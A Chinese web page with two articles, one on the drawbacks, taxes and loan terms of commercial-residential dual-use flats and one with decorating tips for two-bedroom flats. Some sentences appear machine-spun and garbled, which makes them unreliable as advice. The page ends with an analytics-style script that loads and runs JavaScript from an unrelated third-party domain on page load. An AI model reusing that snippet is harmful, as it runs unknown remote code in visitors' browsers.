商住两用房缺点是什么

商住两用房是指既可以用来办公，又可以用来居住的房子，等于办公室和居住地都在同一个地方。随着房价不断高涨，目前这类的商住两用房越来越多，不少人也会主动买商住两用房，目的是为了更好的省钱，也将房子的价值发挥到最大的范围里。商住两用房是有一定的优势，但大家也不好忽视它带来的缺点，光看到商住两用房优点可不行。那么，商住两用房缺点是什么?商住两用房缺点缺点一：商住两用房一般不能落户商住两用房一般无法迁入户口，这意味着即使周边区域内有较好的教育资源，子女因户口不能迁入也无法就近入学。这无形中造成了业主生活、学习上的不便。缺点二：“商住两用”房生活成本高商住两用房的水、电和物业费用的都是商用标准，远高于住宅项目，各种税费等也要高于普通住宅。也就是表示购房者要承受较高的生活成本。缺点三：商住两用房安全问题也值得担忧商住两用房将商和住混杂在一起，名为既可“商”也可“住”，实则给双方都带来了很多麻烦。在某业主论坛上，许多业主发的帖子反映商户严重扰民，有的反映商户晚上营业时间结束太晚等商住两用房税费“商住两用”项目目前还无法按照住宅的标准缴纳契税，这样的房子在转手的过程中，相关费用按照商用来计算，其转让契税为4%，而普通住宅转让契税为2%(不超过144平方米)。同时，商用转让还要征收营业税、土地增值税等。商住两用房贷款商住两用房不限购，也不受房贷限制，不过这种房子不能享受普通商品住宅的税费优惠。贷款期限一般不超过10年，首付高一些，50%左右，远高于首套普通住宅的30%，贷款利率为普通住宅的1.1倍，且不能申请公积金贷款。商住两用房缺点是什么?综上所述，商住两用房是有一定的优点，也有相应的缺点，希望大家在购买商住两用房的时候，一定要能够考虑清楚，不要只看到它的优点而忽视了它的缺点。无论是商住两用房还是其他类型的房子，购买之前都要打听清楚它的证件是否齐全，避免自己买到的房子证件不齐全，日后办理房产证、产权证都会比较麻烦，也会给自己造成许多折磨。

两房一厅装修设计方法是什么呢?

现在对于每个家庭来说，装修房子是一件大事，面对目前的高房价，所以很多人会选择两房一厅，所以现在的两房一厅的小户型的房子里最畅销的，很多的朋友在购买房子以后考虑到的就是如何装修，在装修的时候大家因为对装修的不了解，在装修设计的时候都会考虑到的就是两房一厅装修设计该怎么样去做，那么大家知道两房一厅装修设计方法是什么呢?两房一厅装修设计的时候大家都需要考虑到的就是空间的利用，而在装修设计的时候卧室也是大家都不能够忽视的细节之一，只有这样才可以把自己的小房子装修的更加温馨。两房一厅装修设计技巧有哪些呢?1、客厅空间的设计必须合理布局，简单的主页不花太多钱。简约的装饰已成为现代业主首选的装饰风格。装饰中没有太多的装饰要注意整体的简洁性，但可以通过柔软的服装结合独特的风格。2、设计卧室时必须装修简单，没有太多装饰，主要家具是柜子。事实上，卧室只需要一张床，一个漂亮的衣柜，然后用漂亮的挂画，你可以装饰不同的渲染。在装修时，最好将机柜设置为整个墙体的滑动门壁柜，这样可以使用两面墙的部分，节省了大量的木材，有效地利用了空间。柜子的存储容量很大，卧室看起来干净宽敞。3、两房一厅装修设计时候厨房装修相对较小，因此装修时要充分利用每个房间的空间。对于厨房可以使用开放式厨房，这将使厨房看起来更宽。4、最后还有一个房间可用于设计儿童房或书房。经过合理的客厅计划，即使是一间带两间卧室和一间起居室的小公寓也会变得温暖舒适。现在房价不断的上涨，在购买房子的时候大家都偏向于两房一厅的小户型，选择这样的户型以后大家都需要考虑到的就是装修了，为了更好的装修在设计的时候厨房也是需要考虑到的。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();